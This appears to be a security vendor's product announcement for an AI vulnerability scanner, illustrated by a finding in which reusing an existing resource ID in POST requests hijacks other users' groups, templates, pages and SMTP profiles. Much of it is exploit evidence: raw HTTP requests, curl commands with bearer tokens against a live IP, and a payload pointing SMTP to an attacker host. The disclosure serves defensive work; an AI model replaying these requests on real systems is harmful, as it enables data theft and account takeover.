Thu 19 March 2026
We’re thrilled to announce Agentic Deep Scan, Ostorlab’s new next-generation vulnerability scanner. This isn’t just another scanner. It's a fundamentally different approach that simulates real-world attacks on iOS, Android (soon harmonyOS), and web applications, and validates every finding under realistic conditions.
With Bring Your Own Key (BYOK) support, you maintain full control of your data and AI usage while exploring this next-generation scanning approach.
We are the only platform doing this specifically and deeply for mobile applications, combining realistic exploit validation, cross-component analysis, and proof-grade evidence in a way no other tool currently offers.

How Agentic Deep Scan Delivers Actionable Findings Backed by Proof
Standard scanners identify potential issues based on patterns or signatures. Agentic Deep Scan takes it a step further, every finding is validated under real conditions, with proof-grade evidence: screenshots, request/response logs, device logs, and step-by-step reproduction so teams can focus on risks that attackers could actually exploit.
Verified Findings from a Sample Scan
Agentic Deep Scan uncovers real, actionable risks in live applications. For instance, our sample report highlights 12 critical findings, including a JWT authentication bypass in VulnBank.org
The JWT authentication bypass in VulnBank.org allowed attackers to forge tokens with elevated privileges (is_admin: true), granting access to admin-only endpoints such as /admin/create_admin and /admin/approve_loan/{loan_id}.
This demonstrates how authentication and authorization weaknesses can be exploited in real-world conditions, and how Agentic Deep Scan provides proof-grade evidence so teams can confidently reproduce and fix issues.
Real-World Vulnerability Found by Agentic Deep Scan
Agentic Deep Scan ran on real applications, uncovering multiple previously unknown vulnerabilities. Some findings are still pending fixes in popular open-source projects, demonstrating the scanner’s effectiveness and practical impact.
Among these findings, one stood out for its severity: a simple API logic flaw that enables full resource takeover. Here’s how Agentic Deep Scan discovered it, exploited it, and proved its impact with concrete evidence.
Description
The API endpoints for creating resources fail to validate that the 'id' parameter in POST requests is not already associated with an existing resource. When an attacker includes an existing resource ID in a POST request, the application transfers ownership of that resource to the attacker instead of creating a new resource. This allows complete theft of confidential phishing materials, target email lists (GDPR violation), credential capture pages, and email sending infrastructure.
Root Cause
The API endpoints for creating resources (POST /api/groups/, POST /api/templates/, POST /api/pages/, POST /api/smtp/) accept an id parameter in the request body without validating whether the ID already belongs to another user's resource. When an existing ID is provided, the application updates (hijacks) that resource instead of creating a new one, transferring ownership to the authenticated attacker.
Vulnerable Code Pattern
The API handlers accept the full JSON body including the id field:
// Endpoint pattern vulnerable to IDOR
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))
The handler processes the incoming JSON directly without stripping or validating the id field, allowing mass assignment of existing resource IDs.
Exploitation Evidence
Step 1 - Admin creates a confidential target group:
POST /api/groups/ HTTP/1.1
Authorization: Bearer <admin_api_key>
Content-Type: application/json
{
"name": "CONFIDENTIAL_TARGETS",
"targets": [
{"email": "john.victim@testcorp.com", "first_name": "John", "last_name": "Victim"},
{"email": "jane.target@testcorp.com", "first_name": "Jane", "last_name": "Target"},
{"email": "bob.doe@financial.com", "first_name": "Bob", "last_name": "Doe"}
]
}
Response: HTTP 201 Created
{"id": 106, "name": "CONFIDENTIAL_TARGETS", "targets": [...]}
Step 2 - Attacker (user_b) hijacks the group by specifying ID 106:
POST /api/groups/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
Content-Type: application/json
{
"id": 106,
"name": "STOLEN_GROUP",
"targets": []
}
Response: HTTP 201 Created
{"id": 106, "name": "STOLEN_GROUP", "targets": []}
Step 3 - Verification of ownership transfer:
# Admin attempts to access their own group
curl -k https://34.55.131.240:3333/api/groups/106 \
-H 'Authorization: Bearer <admin_api_key>'
Response: HTTP 404 Not Found
{"message": "Group not found", "success": false, "data": null}
# Attacker accesses the stolen group
curl -k https://34.55.131.240:3333/api/groups/106 \
-H 'Authorization: Bearer <attacker_api_key>'
Response: HTTP 200 OK
{"id": 106, "name": "STOLEN_GROUP", ...}
Additional Endpoints Confirmed Vulnerable:
POST /api/templates/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 113, "name": "STOLEN_TEMPLATE", "subject": "HACKED", "html": "..."}
Response: HTTP 201 Created
POST /api/pages/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 60, "name": "STOLEN_PAGE", "html": "...", "capture_credentials": true}
Response: HTTP 201 Created
POST /api/smtp/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 81, "name": "STOLEN_SMTP", "host": "evil.attacker.com:25"}
Response: HTTP 201 Created
Exfiltrated Data:
- Target email addresses: john.victim@testcorp.com, jane.target@testcorp.com, bob.doe@financial.com
- Phishing template ID 113 with subject "Urgent: Your Account Security"
- Landing page ID 60 with credential capture configuration
- SMTP sending profile ID 81
Validation Evidence
Validation Attempt 1
POST /api/groups/ with id=106 returned HTTP 201 Created, transferring ownership to attacker**
Validation Attempt 2
POST /api/templates/ with id=113 returned HTTP 201 Created
Validation Attempt 3
POST /api/pages/ with id=60 returned HTTP 201 Created
Validation Attempt 4
POST /api/smtp/ with id=81 returned HTTP 201 Created
Validation Attempt 5
Original owner receives HTTP 404 when accessing hijacked resources
Validation Attempt 6
Attacker receives HTTP 200 when accessing stolen resources
Validation Attempt 7
Root Cause
The POST /api/groups/ endpoint accepts and processes the id field from JSON request bodies without validating whether the ID belongs to an existing resource owned by another user. The backend uses the client-supplied ID directly, causing an ownership transfer when the ID references another user's resource.
Vulnerable Code Pattern
// Endpoint accepts full JSON body including 'id' field
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))
// Handler processes JSON directly without stripping/validating 'id'
Exploitation Evidence
Step 1 - Baseline confirmed: Admin owns Group 110, attacker cannot access it:
# Admin retrieves their group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
-H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'
Response: HTTP 200 - Group contains 4 confidential target emails
# Attacker attempts access (pre-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
-H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'
Response: HTTP 404 - {"message":"Group not found","success":false,"data":null}
Step 2 - Attacker hijacks group by specifying existing ID:
curl -k -i 'https://34.55.131.240:3333/api/groups/' \
-H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4' \
-H 'Content-Type: application/json' \
-X POST \
--data '{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[{"email":"dummy@testcompany.com","first_name":"Dummy","last_name":"User"}]}'
Response: HTTP 201 Created
{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[...]}
Step 3 - Ownership transfer verified:
# Admin attempts to access their group (post-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
-H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'
Response: HTTP 404 - {"message":"Group not found","success":false,"data":null}
# Attacker retrieves stolen group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
-H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'
Response: HTTP 200 - Full group data including original targets:
executive@testcompany.com
hr@testcompany.com
itadmin@testcompany.com
finance@testcompany.com
Try Agentic Deep Scan with BYOK (Bring Your Own Key)

Thanks to BYOK (Bring Your Own Key), you can try Agentic Deep Scan safely with your own credentials keeping full control of your data and costs, making it simple to explore this next-generation scanning approach on your apps.
Learn more about Agentic Deep Scan :
- Web Agentic Deep Scan
- Mobile Agentic Deep Scan
Tags:
Agentic Deep ScanTable of Contents